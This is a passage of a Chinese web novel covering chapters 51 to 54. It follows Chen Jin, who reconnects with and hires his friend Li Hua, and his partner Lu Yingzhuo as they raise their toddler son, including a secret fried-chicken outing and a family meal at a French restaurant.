陈今深知这一点,出门的时候塞了两根香蕉一瓶酸奶放车上,到达目的地停好车,他递过去一个红包,“写字!” 陆应倬:“给了多少这么厚?” 陈今阻止他打开漂亮红包,有二次痕迹,“就一万而已。你写,呃我搜一下……” 陆应倬:“不用。” 说着他就写上——万事顺遂,福满新居。 落笔陈今。 “写我俩呀!怎么是繁体?”陈今拿过来观摩一阵,仿佛是出自自己之手,“好看。” 郊区风景好。 陈今抱着宝宝慢走。 没进门就看到一大栋别墅前,还有好几辆货车,“他到底有多少东西?” 陆应倬:“灰尘大,先不带儿子过去。” 陈今站在原地。 但很快他就发现只是寥寥几件物品,比如钢琴、架子鼓这种不能磕碰又十分昂贵的物件。 保养极好,倒也没有灰尘。 “等等——” 陈今看到了熟人,走近一步,更确定了,他把趴在怀里的小崽儿给陆应倬,“你抱一下。” 陆应倬放下折叠婴儿车,抱稳儿子,“怎么了?” 陈今已然跑了过去。 他去到货车旁边,喊在擦货车后备厢锁的人,“李华?” 李华听到名字转过头来,一愣。 “陈今。” 快一年没见了。 两个人此时都有些不知所措。 李华看到推着孩子走来的陆应倬,走到陈今边上,问他:“遇到朋友了?” “对,这是李华。” 陈今立刻和陆应倬介绍:“去年我在服装店打工认识的朋友。” 他又和李华说:“这是我对象。” 陆应倬伸出手。 “你好。” 李华立刻脱下白色手套,擦了擦,才握住。 “小今和之前的朋友都很久没有联系了。” 陆应倬放下手对李华说:“在这里能碰巧遇到你,他肯定是开心的,只是不好意思。” 李华看向陈今:“到底怎么了?” “我和橘子给你打了很多电话,找了你之前住的地方,问了Kim姐和方哥,他们所有人都不知道你在干什么。” 这么一说。 陈今也觉得自己过分。 在李华看向婴儿车时,他陡然反应过来了。 “这个——” 陈今抱起自己人见人爱的幼崽。 走近展示给李华,“……其实我去生小孩了,我在打工的时候就已经怀孕了,你抱抱他吗?好软的。” 李华:“……” “对不起我有点脏……他太白了。” 五分钟后。 陆应倬带着宝宝进了别墅。 陈今还在不厌其烦地和李华说明苦衷,他甚至打算展示自己最有利的证据——剖腹产刀口。 李华忙按住他,“我害怕钝器伤口。” 陈今只好乖乖放下衣服。 “手术顺利吗?” 李华只问了这一句:“他……孩子爸爸和你爸妈都在吗,有没有长辈陪你一起?” 陈今点点头:“顺利,都是家里人,我还是尴尬死了。” 李华也松了口气。 “陈今你干嘛呢?” 段纪宁从家里走出来,看陈今和一个货车司机说话还十分拘谨,说:“这是在干什么?” 陈今:“这我朋友。” “你朋友?” 段纪宁从头到脚扫一眼李华,摸到口袋红包,当即抽出一沓现金塞他手里,“那正好,给,小费。” 陈今猛地注意李华的态度,果然,他给了回去,“不用的,刚才给过了,我先走了。” 陈今知道此时拦人不是好选择。 跟上去说:“下次有时间我再约你吃饭行吗?” 李华:“好。” 陈今说:“路上开慢一点。” 李华爬上货车朝他示意:“你去忙你的吧。” 两人交换了现在的联系方式。 陈今路过全程观看的段纪宁,红包一塞,一句话都不想说了。 段纪宁:“谢谢啊。” “不客气。” 陈今没继续搭理他。 一直持续到坐在陆应倬身边,实在忍不住,和他说了一通刚才的事,“我和段纪宁无法沟通,我俩只能他尊敬我祝福他!” 段纪宁想做好事。 结果就是那场面让他无比难受。 “不生气。” 陆应倬吻他嘴角。 这一幕正好段纪宁过来看到,无声闭上眼睛,离开了,方向是厕所或者阳台。 “我明白你之前拒绝我了。” 陆应倬对他说:“你说我们是两个世界的人,差距太大,乡下的那个我和你太合适。” 陈今拍腿称绝——拍的是陆应倬的腿。 “懂了吧!” 终于有一个资本家理解他了。 果然,还是得把高岭之花拉下神坛才知道凡人之苦。 “但你不必承受别人的情绪。” 陆应倬理了理他挡住眼睛的刘海,“李华如果是个值得深交的人,他足够了解你,不会因为段纪宁的行为迁怒你,也少会因你的身份而感到落差,你们还会有联系的。” 陈今靠在他身上,“……我只是有点难过。” “李华说好多人都在找我,我以为大家都会有自己的生活,忘掉我很正常。” 就像在江市的朋友。 现在一个一个都完全不记得了。 “喜欢你才更容易。” 陆应倬从肩膀抱着他安慰:“大家都在首都,你想要联系或者重新维持的关系,我们以后慢慢来。” 陈今:“好。” 抱在一起久了才发现,“我儿子呢?” 陆应倬看他才想起来,“苏诃抱去了。” “哦。”苏医生啊那没事了。 “今天少了一个人。” 陈今巡视了一圈才发现,“何秘书没来吗?” 陆应倬一愣,恰巧,从楼上下来的段柏钦也刚好听到这一句,两人对视了一会儿。 “段纪宁和他不熟。” 陆应倬有意无意搂住陈今问:“怎么突然问他?” 段柏钦也坐下了。 “你俩来了,我干儿子呢?” “在苏医生那里!” 陈今想坐好,被陆应倬缠着没办法只好回答他:“满月宴那天大家都在,我肯定能数出来你朋友多少,问一下而已啊。” 段柏钦:“陈今,你对何卫澜印象很好?” 陈今几乎是立刻点头,“何秘书优点这么多,几次救我于水火之中,我很喜欢他啊!” 段柏钦:“……” 他瞥了一眼陆应倬黑下去的脸,说:“你没问?” “忘了。” 陆应倬看陈今一脸疑惑,说:“何卫澜手机里有偷拍你的照片,你知道吗?” “不知道啊。” 陈今第一想法是奇怪。 第二反应便看向陆应倬,“何秘书从来就没主动找过我,都是我求人家办事,有没有可能是你让拍的转播,人家没删啊。” 陆应倬:“……” 段柏钦无语了:“大哥,你自己干的,你都没和我排除这种可能。” 陆应倬:“照片什么样子?” 段柏钦:“就是陈今在车后座吃饭啊,穿得破破烂烂的,感觉一天没吃饭了,嘴巴塞到鼓起来了。” 陆应倬:“……” 换手机了,好像有点印象。 陈今看一眼两人,明白了什么,不能对段柏钦做什么,他转头对陆应倬指了指脑子。 两个人学历比他高一大截。 凑在一块儿…… 陈今突然平衡了,“你俩多聊会儿天,我去抱儿子了。” 段柏钦也不想聊天。 “再聊下去我脑子也要坏了。” 陆应倬:“……” 第52章 第 52 章 一种西装配裤衩的气质。…… 小耳朵从半岁到两岁, 看似一年半,可在几个长辈眼里,也就是短短两个春天的事情。 两年春雨, 小芽儿长成了小树苗。 每当这个时候。 陈今总是无比庆幸自己当初拿起了摄像机。 他用专业而饱含感情的方式, 记录下了小崽子的成长, 看他从幼小脆弱需要依托两个爸爸的怀抱,到自己翻身学坐, 到牙牙学语。 两岁之前的小耳朵。 实在是和陈今小时候一个模子里刻出来的。 一样的乖嫩,一样的水灵,在小区里是出了名的漂亮崽。 两岁之后。 小耳朵突然有一天就长开了。 两边圆嘟嘟的婴儿肥少了一点点,轮廓初露端倪, 鼻梁有型,与陆应倬越发相似, 基因第二次开始发力,小脸蛋上五官到处是优点。 一只团子还是可爱软糯。 可气质总透着一股子淡定矜贵的味道。 在这么小的宝宝身上, 最后都能归结为——萌感。 实打实一只乖崽。 小耳朵把两个爸爸气质完美融合。 两岁半的宝宝脱离了育儿嫂。 在其中一个爸爸的教育下, 崽儿懵里懵懂答应了不睡主卧的拼接床,玩困了就呼呼大睡,然后被抱走回自己房间。 一开始, 小耳朵睡醒了只有自己一个人,很是害怕,哭了一顿。 从那以后。 小木车床头就有一个圆圆的监控。 最大的一个按键按下去, 可以自动拨通陆应倬的手机,他会很快出现。 小耳朵不怕了。 稀里糊涂就完成了分房睡觉。 再大一点他也不怕黑了。 崽儿吭哧吭哧从床上下来, 小木床一圈感应灯都会亮,他拉一拉门的儿童把手绳,便跑去隔壁的房间找爸爸们。 家里到处都有把手绳子。 宝宝自由穿梭。 有时候不一定先去找爸爸。 小耳朵起得太早, 一开门,遇见的可能是块头哥哥,他喜欢极了,会有爱地贴贴抱抱哥哥,哥俩好一样去宝宝房里参观一圈漂亮屋子,趴在地毯上滚来滚去。 今天,有点不一样。 小耳朵迷糊醒来,发现自己的小手湿湿热热的。 他一睁开眼睛,就和另一双黑亮亮的眼睛对上了,于是把小手小脚往毛茸茸那边靠,一抓一抱。 “哎呀!” 小耳朵脸上又被舔了舔。 他一边笑一边捂住小脸蛋,可他的手太小了,遮不住还被一起舔舔舔了,他只好劝说小狗:“唔……不要了,我要爸爸。” 小耳朵滚了滚爬起来。 他努力穿好床头的小袜子,从只有几节的软楼梯爬下去,哒哒哒跑去开了门。 块头也跟上。 小耳朵又顺利打开爸爸房间的门。 黑乎乎的…… 只有浴室有光。 小耳朵怕摔倒,拽着哥哥的狗毛一起啪嗒啪嗒走过去,把小脸贴在磨砂玻璃上奶声奶气地喊:“爸爸。” 里面水声停下。 “站好宝宝。” 里面传来低沉温柔的声音。 小耳朵把脸蛋离开凉凉的玻璃,下一秒,门被打开,他被拥入高高的怀抱里,摸摸脑门。 崽儿贴在他怀里,软软纠正称呼:“爹地……” “还有没有不舒服?” 陆应倬才离开他十分钟。 前天,小家伙有一点发烧,连续两天都说脑袋坐摇摇车了,喝了药之后蔫了吧唧的。 昨天中午退烧了。 陆应倬才让宝宝自己睡,隔三个小时去看一次崽。 张阿姨请假回家了。 陆应倬起床看了儿子,准备洗漱完做早饭,没想到小崽子有力气醒来自动寻爹。 “没有哦。”小耳朵软软趴在他肩头,“哥哥舔宝宝的手。” 陆应倬听懂了他的起床铃。 往外看了一眼陪宝宝进来后,又趴去门口的块头——小狗有规矩不进主卧,但身为兄长不太放心。 “今天醒太早了。” 陆应倬没及时煮东西给干饭崽吃,带着他走到床边问:“要不要陪爸爸再睡一会儿?” 小耳朵:“嗯!” 陆应倬把他放到床上。 陈今生物钟还差二十分钟。 可这个时候,怀里钻进一个柔软的小身体。 他下意识搂住吸了一口崽子,抱他到胸口趴好,和陆应倬动作出奇一致地摸儿子脑袋瓜,“还好,没发烧了……” 陆应倬给他俩盖被子,“睡会儿再下来。” “爹地拜拜……” 小耳朵在爸爸怀里挥小手。 说完又乖乖趴回去眯觉,说陪睡就陪睡。 陈今却不能偷懒。 他一会儿有比较重要的工作。 抱着香喷喷软萌萌的崽睡了十五分钟,坐起来打了个哈欠,拍拍肩头小崽子的屁屁,“醒了没有宝宝?” 小耳朵又被迫开机。 陈今:“白天不穿尿裤好不好?” 两岁半了。 尝试白天戒一戒尿不湿。 “好哦。” 小耳朵任由爸爸摆弄。 洗完屁屁换上新的小裤子,看着自己的纸尿裤好朋友被丢进垃圾桶,好吧,只有晚上才能见新朋友了。 一只干净的崽子坐在凌乱的被子堆,看爸爸一路来一路去又是找衣服又是进浴室,咬着牙刷还不忘给他穿小马褂,“你爹真的是,袜子都不给你好好穿,后脚跟穿到脚背——” 小耳朵仰头,“是宝宝穿的。” 陈今惊呆,赶紧抱起儿子亲一口,“你怎么这么棒啊!” 小耳朵扑进他怀里害羞。 面对爸爸每天夸张的赞美,宝宝也有一点抵抗不住。 陆应倬一进来。 两人还在父慈子孝。 他走去拎起儿子擦他脸上的牙膏沫,打断两人父子情深,“不是八点半要到公司?” “哦哦。” 陈今终于想起来了。 火速洗漱完,把台面让给陆应倬带儿子洗脸,换衣服换到一半过来问:“你今天在家?” 陆应倬看他衬衫配裤衩,如此不伦不类,可因为那张脸蛋还是清爽动人,“没有,我带儿子去公司,顺路送你去上班。” 陈今:“正好!我今天谈业务不出公司,不开车了。” 陆应倬:“换衣服下去吃早餐。” 陈今是要走的,又没忍住,返回来亲一口洗完脸自己擦小毛巾的崽,“你这个萌啊。” 小耳朵每天都在被夸夸。 神奇的是,除了和爸爸单独在一起害羞,爸爸爹地都在场的情况下就不会。 擦好香香。 宝宝盯着爹地把罐罐放回去。 “下楼吧。” 陆应倬让他自己走。 小耳朵却拽了拽他的裤子,仰头等待。 陆应倬:“抱你下去?” 小耳朵想说不是,但想了想,又点点头。 总有撒娇要抱抱的崽。 《你的孩子不是你的孩子》 《孩子的长大就是一场渐行渐远》 《别等孩子长大,才后悔没有时常陪伴》 陈今经常刷这种帖子给陆应倬分享,搞得两个老父亲现在不会拒绝崽子的要求。 陆应倬抱起儿子。 下一秒,脖子被搂住,脸颊传来软软的触感,“啵~” 陆应倬:“怎么了?” 刚说完他就反应过来了。 在崽子的嫩脸上补了一个擦完面霜之后的吻,“对不起,忘记了。” 小耳朵眨眼睛:“没关系哦。” 宝宝会提醒的。 陆应倬抱儿子下楼。 从周岁宴之后。 陈今隔三差五就要感慨一次:从来没想过带孩子原来这么简单,教什么会什么,不舒服了自己说,饿了自己把饭吃光! 带孩子一点都不难嘛。 直到曾芸有一次听到了,和他说:“这话可不能在外面说。” 陈今:“为啥呢?” 曾芸看儿子这副不谙世事的样子,无奈之余又开心,“带孩子就没有容易的事儿,你小时候已经算是很听话了,我和你爸也没少操心,我活这么大岁数也看过不少孩子了,年年真是给你报恩来的——中彩票都没这么好的事儿。” 陈今若有所思:“也是。” “谁也不知道我能生孩子啊!” 曾芸无语:“我说的是这个意思吗?” 陈今很后来才知道了。 小耳朵这个性格真的是可遇不可求,万里挑一的宝宝。 * 今日份早餐简单却好吃。 宝宝食谱:虾仁蛋羹,玉米糊糊,鸡汤小面条。 陈今收拾好下楼。 小耳朵戴着饭兜兜,埋头干饭,只有小叉子弄不上来才会用小手拿,塞进嘴巴里,吃得脏脏的,可看得出是个爱吃饭的宝宝。 “他好给你面子。”陈今对在咖啡机前的陆应倬说:“你做什么他都吃。” 陆应倬走了过来。 一杯拿铁给陈今,让人带去上班,拿走崽子吃光的其中一个小碗,给其他食物腾出位置。 “就不能是我做的好吃吗?” 陈今笑了笑,“也是。” 他也低头尝了口自己碗里的馄饨,是好吃的! 小崽子吃播太香了。 搞得两个大人胃口也好。 为了不耽误陈今上班,半碗小面条,陆应倬给小耳朵一口一口喂的,擦嘴巴的时候照例问一句儿子:“吃饱了吗?” 小耳朵摸着鼓起来的肚子,无须多言。 陆应倬拎起儿子。 崽子两只小胳膊被架起来,舔小手上的汤汁,但是被爹地拆了饭兜,带去洗手换衣服。 陈今:“我去车库等你们。” 一家三口两个去处。 陈今打扮得体下了车,“宝贝拜拜。” 小耳朵在安全座椅抬起小手,转了转,“拜拜爸爸~” 陆应倬把人拉住,“亲一个。” 陈今趁周围没人注意。 越过车窗对着他嘴唇狠狠亲了一口,“走了,我得提前到。” 陆应倬:“下班给我打电话。” 陈今:“好的!” 第53章 第 53 章 “带崽偷吃!” 陈今提前到达公司, 林康乐正在茶水间准备,“早啊陈哥。” “早。” 账号做得很成熟了。 陈今一年左右就又搬了新的办公点。 位置和陆应倬的公司大致顺路,处于艺术厂区的两层楼, 一层接待一层办公。 主营业务是外景拍摄。 偶尔会和各大影棚有短期合作。 陈今走向前台启动主机。 坐下没一会儿, 公司大门被人推开, 有人来到他身边,“找那个电影学院的对接人信息?” 陈今:“对。” 李华接过鼠标, “我来吧。” 陈今去旁边凳子坐下,喝口咖啡,看他调档资料。 李华桌面数据干净,分门别类, 按编排日期找到后给他展示:“这几个。明天你可能要和康乐跑一趟电影学院试拍,目前给价还可以。” 陈今滑看到最后的价格, 哪儿只是不错,他很满意。 “人多拍摄难度不小。” 李华把笔记本电脑也拿了过来, “看看这个月还要不要接新的商单。” 陈今还在反复注意顾客要求, “好,你放那儿。” 讨论完工作安排,顾客也到了, 林康乐随陈今去会议室接待。 李华在前台处理相应工作。 按照陈今的要求做了一些改动,更新表格,而后登陆公司账号, 回复一大片未读私信。 流程很熟练。 他在这边干快一年了。 一年之前,陈今去之前打工的服装店QIU, 邀请李华参加小耳朵的周岁宴,至此,两人交往慢慢回到正轨。 客源质量高了。 免费的宣传越来越多, 账号流量十分爆炸。 之前的工作室只有一百平不到,客人一多施展不开,拍摄工作和搬公司两边都不能耽误。 陈今忙得不可开交。 实在缺人的情况下,李华来帮过他几次忙——从观察和学习开始,只用了不到两周时间熟悉业务,一个顶俩,又干客服又干前台,行业笔记记了三分之二本厚。 人家也不要钱,就纯帮忙,一个劲儿干活。 陈今不可能放过这匹千里马。 三请四拉,以高薪将人聘到了自己公司。 他需要人。 李华需要工作。 两两合作了一年半,完美打配合。 这次的商单挺有看头。 单主来自本地电影学院的一群富二代,需要给自导自演的电影大戏拍摄角色风格照,作品打算送审评奖,找摄影师注重的是故事感。 五个人的群像。 光是人物小传和细节理解就有一本。 不过一群富二代凑一起,给价也非常大方。 陈今虽然音乐审美不怎么好,可经过这两年上万的摄影课和百次实战经验,在追求绝对艺术的客人面前,也能侃侃而谈,很快领悟到对方所需。 “对没错。” “是这个意思,我们学院剧场也可以用。” “这么大一本你都看完了?难怪对答如流……不错,合作愉快。” 陈今与人握手:“合作愉快。” 拿下! 成交了笔大的,陈今忙完一下午,打算请公司的伙伴们吃饭。 林康乐:“欧吼!” 陈今一摸口袋,“完了我没开车。” 白迅立即掏出自己电车的钥匙:“我开了哦~” 陈今笑着接过,“那好办了。” 他拿出手机给陆应倬发消息,“不介意我再摇两个没饭吃的过来吧?” 白迅:“诶!耳朵宝宝吗?” 林康乐:“可以啊可以啊,当然不介意。” 不过可惜了。 陆应倬今天有应酬。 陈今了解到段柏钦也在,没什么担心的,“那你少喝点。” 陆应倬:“不喝了,儿子在,别人开车不放心,我这边结束去接你回家?” 陈今:“看看吧。” 陆应倬带儿子应酬,回家会很早。 陈今开车带大家去吃饭。 约了一家他之前和陆应倬吃过的私厨,晚风徐徐,包厢窗外能看到古色古香的院景。 一晚上。 陈今注意到一件事—— 从下午开始,李华几乎没怎么说话。 桌上就点了一瓶酒,他几乎一直在喝,清俊的脸颊酡红,眼神迷离到有些怅惘。 陈今几乎不碰酒,两口即止,问他一句:“怎么了今天?” “……她有男朋友了。” 李华低眸盯着玻璃酒杯,“特别般配。” 陈今瞬间好奇:“谁?” “你什么时候有喜欢的女孩子了,我怎么没听说啊?” 李华每天除了上班就是上班。 为了弟弟大学毕业以后轻松一些,他一直在努力挣钱,根本没有任何谈恋爱的心思。 陈今:“醉了就说,我又不会给你拍下来。” 李华不说话。 问不出什么便也作罢。 陈今去洗手间,回来时顺便买了单,又拿了一瓶酸奶。 饭桌上—— 林康乐也去找洗手间。 白迅觉得这边风景好,去周围拍照了。 陈今把酸奶塞到李华手里,“不知道对你管不管用啊。” “陈今。”李华静静看着酸奶说了句:“你怎么不害怕和陆总在一起?” 陈今突然笑了,“我啊?” 李华:“我想知道。” 陈今撑着头回忆,“一开始也有啊,怎么没想过拒绝……这不是意外有儿子了,赶鸭子上架我也得赖着他管小孩儿,稀里糊涂绑在一起了之后,人哪有那么多神圣不可侵犯,他也挺包容我的。” 李华说:“可是你很好。” “所以……橘子才那么喜欢你。” 陈今听了个大差不差,瞬间了然:“橘子在国外恋爱了?” 李华眼睫垂下去,又不说话了。 得。 八九不离十。 陈今没想到李华真的在暗恋。 苏橘已经离开两年,真正意义上有了自己的生活,有了喜欢的人,一时间安慰什么都不对,他抬手捏了捏李华的肩膀, 陈今手机响了,看到来电人,他走去隔间茶室接听。 陆应倬:“现在来接你?” 陈今看了眼表,“行,你过……阿姨还没回来吧,你放儿子一个人在家睡觉啊?” 陆应倬:“在我车上。” 随后他声音放轻了一些,“和爸爸说话。” 两秒后,小耳朵软绵绵说道:“爸爸……我和爹地来接你回家哦。” 小奶音睡意朦胧的。 陈今心疼得很,“乖宝宝,你们还有多久到?” 陆应倬接话:“五六分钟。” 陈今对崽子说:“爸爸一会儿上车抱你睡觉。” 小耳朵:“好哦。” 挂了电话。 陈今回到餐桌看李华还是同一个动作。 林康乐和白迅都回来了,她说:“陆哥和耳朵宝是不是来接你啊,我送他俩回去就可以了,你走吧老板!” 陈今失笑。 听这么清楚,那他还专门走远了。 林康乐去搀李华, 陈今不放心走过去帮手,“能不能走?” 李华晃了晃头,抓着他的手臂起来,“没事……我自己可以。” 众人各自分散离开。 陈今没等多久便有车停下。 驾驶位的陆应倬在夜色和车灯下赏心悦目,后车窗落下,里面是脑袋小鸡啄米一样的幼崽。 “看你给他困的。” 陈今径直上了后座。 他把小耳朵从安全座椅解救出来,团在怀里,宝宝看到爸爸手脚并用往他身上窝,揉揉眼睛。 陆应倬抬手关灯。 “睡觉吧。” 陈今用外套包住崽儿。 拍两下小家伙的屁股蛋子,发现是早上出门时的裤子,问陆应倬:“今天他尿裤子没?” “没有,我两个小时带他去一次厕所。”陆应倬从储物箱拿出一片纸尿裤,“现在穿。” 晚上还是不行。 崽儿还不会睡着后起来尿尿的技能。 要说尿床就尿了吧,家里不缺有人收拾,可宝宝有宝宝的小情绪,会有点不开心。 陈今一开始以为儿子害羞。 但也奇怪,家里没人和崽儿说过尿床是坏事啊? 直到有一次—— 张阿姨打电话给他还有陆应倬说,让他们看一看家里的监控,那时候,两个爸爸发现了其中可爱之处。 张阿姨习惯先手洗脏的衣物被单,再进洗衣机。 那天,陈川峰陪小耳朵在沙发上玩儿积木,宝宝穿着西红柿炒鸡蛋颜色的背带裤和小T恤,一下子就看到了阿姨拿着他尿完床的小被子去阳台,眼巴巴的。 后来积木也不玩儿了。 崽儿撅着屁股滑到块头哥哥身上,哒哒哒跑去找张阿姨抱大腿,看阿姨洗被子晒被子,和小尾巴一样问东问西。 张阿姨主要是被可爱到了。 一直回答宝宝的小问题,告诉他洗干净被子之后,被太阳公公晒一遍,又可以睡香喷喷的被子了。 于是小耳朵产生好奇,蹲在自己专属的洗衣机前观看。 家里的洗衣机是滚筒的。 柔软的小鸭被在里面被扭打成可怜巴巴的模样,水滋滋冲刷,又甩来甩去。 陈川峰来抱走大孙子的时候,崽儿眼睛红红的。 人类幼崽行为大赏。 总有让人十分迷惑的地方。 最后以陆应倬解读最为准确——小耳朵对自己的每一床小被子都很喜欢,第二次第三次尿床,每次都很伤心。 被被又要被打了。 现在张阿姨给小家伙洗被子,都要避开他,生怕伤害到小崽儿脆弱有爱的心灵。 小耳朵在爹地公司准点喝了奶。 陈今为了让儿子好好睡觉,给换上了尿裤,再穿裤子就有点不舒服了,干脆光着。 陆应倬反手把出风口调偏,温度调高。 * 工作上的事情繁冗 陈今要跟学生那边的拍摄进度,一磨就是一周半,每天早出晚归,回来还要做功课理解人物小传。 陆远璋想要小耳朵去老宅玩儿。 不知道第几次被陆应倬拒绝了,也不生气,不是自己来就是带着管家来青徽公馆,几个长辈都混熟了。 人一多。 陆应倬才会偶尔加班。 可家里宝宝黏人。 崽儿只要一打电话,多说一句想,陆应倬又会把儿子带去公司,眼皮子底下。 何卫澜也很乐意干这活儿。 小耳朵喜欢何叔叔,也喜欢总是来爸爸公司的段干爹,大家都需要他调节气氛,宝宝反正在哪儿都不缺人爱。 陈今工作告一段落。 修片完成,尾款结算,这一熬就是到了月底,原本一周的假期只剩下两天。 陈今工作再多。 某人该有的福利一点都不让自己少半分—— 陆应倬每天下了班就去接人,哄骗完就在车上鬼混,要是遇上陈今在家里加班,他能一等等到凌晨两点,陈今屁股一挨床,下一秒就是挨|操。 家里的安全套消耗速度惊人。 于是,完整的两天假期,陈今决心全留给儿子。 好巧不巧。 陆应倬要去外地出差~ 陈今前脚高高兴兴把人送出门,后脚就给几个长辈打电话,说自己要带崽儿出去玩,今天家里没人。 吃完午饭。 陈今带着宝宝午睡。 定了闹钟起来,他抱着脸颊睡得热乎乎的崽儿走一走,醒醒觉,“我们换衣服出门。” 小耳朵提醒:“宝宝没有喝牛奶。” “今天不喝。” 陈今单手抱儿子,在衣柜里翻翻找找,掏出一件有立体汉堡的小T恤,给软嫩的小白崽换上,“爸爸找到一家特别好吃的炸……物店,带宝宝去吃好不好?” 小耳朵支起身子点头:“好哦!” 吃好吃的! 崽儿立刻表忠心,献上一个香吻和抱抱:“爱爸爸。” 陈今揉了揉他的脑袋瓜:“爸爸精挑细选了的,很卫生干净,呃……当然了,只要不告诉你原料是什么小动物,你都吃得很香。” 太长一段了。小耳朵听不懂,说:“吃得香!” 陈今亲他一口。 家里大人惯得有点太小心翼翼了,虽然耳朵还小,可炸鸡冰淇淋蛋糕一律不准宝宝吃,人家一岁半后都当狗养了,小耳朵完全是被当姑娘养的。 吃点小零食开开眼还是很有必要的。 “出发!”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 【全文完】 第54章 正文完 “轻轻松松一手一个…… 小耳朵实力强悍到可怕。 陈今带崽偷吃完有了新发现。 崽儿面对没吃过的新食物, 始终表现出无比的期待和捧场,一口咬下酥脆的鸡全翅时,开心到脚都晃悠了好几圈。 一口炸小鸡, 一口树莓挞。 时不时还能吃一小口爸爸的开心果冰淇淋。 投喂小耳朵是件有成就感的事情。 小家伙总是乖乖等待, 等好吃的到嘴边, 把小嘴巴张开到力吞山河的气势,嗷呜一口吃掉, 整个一只团子都在表达高兴。 虽然偷吃,陈今还是控制了量的。 刚好能满足崽儿的馋嘴还不把肚子填饱。 好好吃哦。 小耳朵回程时还在舔嘴巴回味。 陈今看后座跟着他音乐打节拍的宝宝脚丫,打转方向盘,“张奶奶在家煮了你爱吃的, 一会儿还能吃饭吗?” 小耳朵:“可以哦。” 陈今想到他刚才大快朵颐的样子,“晚餐不用吃很多, 但我们态度要积极!” 不然太明显了。 陆应倬动不动吃饭查岗。 要是一打开监控看到小耳朵不爱吃饭,鬼来了, 下次再想带宝宝出去觅食只会越来越难。 小耳朵说:“我可以吃爸爸。” 陈今笑:“吃爸爸?” “不吃爸爸。”小耳朵立刻摇摇头, 抓住自己的小耳朵思索了一番,说:“宝宝可以吃饭饭,还可以吃!” 陈今句句有回应:“好。” 但他显然小看了儿子。 小耳朵说的话都有他的道理。 晚饭, 饭桌上,崽儿又显示出了他的无差别干饭体质,面对端上来的菜来者不拒, 勺子都不要了,直接上手。 “咕噜咕噜——” 小耳朵把空汤碗放在面前四个小碗之中, 嘴巴油亮亮,丝毫没有勉强的成分在。 陈今:“……” 他担心地去摸儿子肚皮,“撑不撑啊?” 小耳朵说:“爸爸我吃饱了。” 张阿姨走过来给宝宝解开饭兜, 竖起大拇指:“真棒!” 陈今:“……” 根本没有任何破绽。 不管有没有偷吃,该干的正餐一样不挑,根本不存在吃了零食不吃饭的情况。 陈今准备打的掩护一个没用上。 后面几天,小耳朵也没有任何挑食的迹象,只要有饭,也不想外面的好吃的。 陆应倬回来也没露馅儿。 一次,陈今下班回来带了纸杯蛋糕,小耳朵双眼放光扑到他怀里,坐在爸爸腿上吃的满嘴奶油。 陈今:“好吃吗?” 小耳朵无比捧场:“好吃,还要吃脆脆!” 陆应倬洗完澡下来问:“脆脆是什么?” 陈今一下子就懂了。 宝宝太给力,他也没有瞒着陆应倬了,凑到他耳边说:“我带他吃炸鸡冰淇淋了。” 陆应倬看他:“什么时候?” 陈今坦白从宽,“就是你上周出差。” “他吃的时候不知道多开心,我特意没让他吃饱,回来他还吃了饭,这一周也没和我提过,我以为他不喜欢呢。” 小耳朵敏锐听到,“宝宝喜欢吃!” “去哪儿吃的?” 陆应倬抱儿子坐在腿上,拽过陈今,“那两天他有没有不耐受拉肚子?” “放心吧。”陈今一句话概括:“继承了我的先天吃路边摊圣体!” 陆应倬:“……” “店面信息翻出来我看一眼。” 陈今毫不心虚找出来给他,“开玩笑,我之前跑多少年外卖了,过了市场稽查的,都是鲜货,看!” 店铺信息公开透明,好评如潮,无可挑剔。 “过两天带你们去吃法餐。” 陆应倬给崽儿擦嘴巴,“下次带儿子出去能不能带上我?” 陈今怀疑看他:“你会准?” 陆应倬:“你在外面偷吃偷喝我说过你几次?” “好几次啊,再说你平时养儿子太精细了。” 陈今手拍手叫嚣:“爸妈张阿姨秦叔他们溺爱就算了,人家隔辈亲,你还有过之而不及……谁小时候没吃点辣条淀粉肠啊,靠,搞得我带儿子出门和犯罪一样!” 陆应倬无奈:“他还太小了。” 天天被夸又长大了的茁壮成长小耳朵听到,仰起头说:“宝宝不小。” 陈今双手一摊,“看吧。” “你想一想你儿子的干饭体质,你舍得让他从两岁半就学习克制欲望吗?” 陆应倬:“克制欲望和吃炸——” “啪!” 陈今如临大敌,一把捂住他的嘴。 小耳朵果然听到了,还补充说:“炸脆脆!” 陈今做出保证:“是的,炸脆脆,爸爸过几天就带你去吃。” 他转头给了一拳。 陆应倬面不改色握住他的手。 此时此刻,他承认自己是有那么一丝同意陈今的育儿理念了,他崽儿那颗对万物有爱的心…… 太单纯了。 之前陈今放假带小耳朵去公园遛狗,路上买了两盒酸奶,一盒给块头一盒给儿子,然后人家老板送了一只鸡崽,还没手掌大,毛茸茸圆头圆脑很是可爱。 块头对那只小鸡太热情。 陈今丝毫不怀疑看不见的地方,鸡崽子就被家里的小狗吞到肚子里去,小耳朵也有同款担心,于是没养几天就送走了。 养鸡好啊。 知道鸡长这么可爱之后…… 小耳朵就不吃了。 陈今:“……” 他试图劝说自己生出来的崽:“长大的鸡就不可爱了,可以吃,宝宝不是最爱吃鸡腿了吗?” 小耳朵自己拼积木,软声软气:“不吃小鸡。” 陈今:“……” 以后谁也别提这个字。 两岁半而已,还可以骗一骗,长大就忘了,长大就好了。 * 陆应倬和陈今从不言而无信。 家里有个贼爱吃饭的崽儿,满足他,喂饱他,给他想吃的是最简单又幸福的事情。 工作日,周二。 陆应倬带上同样延期工作在家陪儿子的陈今,一起去了新的法餐厅,没等人问,他就说:“今天吃不一样的脆脆,管够。” 小耳朵来者不拒:“管够!” 没有炸鸡,安全落地。 这顿饭里没有敏感词,但为了不违反答应孩子的事情——点单中有炸酥肉排和脆薯角,苹果派和香草冰淇淋。 法餐厅装修很美丽,小耳朵不闹人,一家三口在窗边吃饭。 餐厅提前准备好了宝宝叉。 陆应倬见崽儿使用不稳当,举着给儿子咬,陈今忍不住说:“你也太像在喂驴了。” 有点好笑。 陈今掏出手机拍他俩, 小耳朵是拥有一别墅写真的宝宝,对镜头很敏感,嘴巴还鼓囊,剪刀手已经举起来了。 脆脆还是不小心掉在盘子里。 小耳朵耐心地拍拍陆应倬的手,和爹地商量:“宝宝自己吃。” 陆应倬给切好。 让儿子戳一口刚好符合嘴巴容量。 他们来得比较早。 服务生拿着牛皮餐单过来说:“不好意思,单独做冰淇淋的甜品师还在准备,为表歉意我们真诚赠送一份新甜点,可以选择点单或者亲自去餐台挑选。” 甜点餐台是独立的。 偌大的玻璃展示长柜中色彩缤纷。 甜品师穿着专业。 还在操作需要现做的餐点。 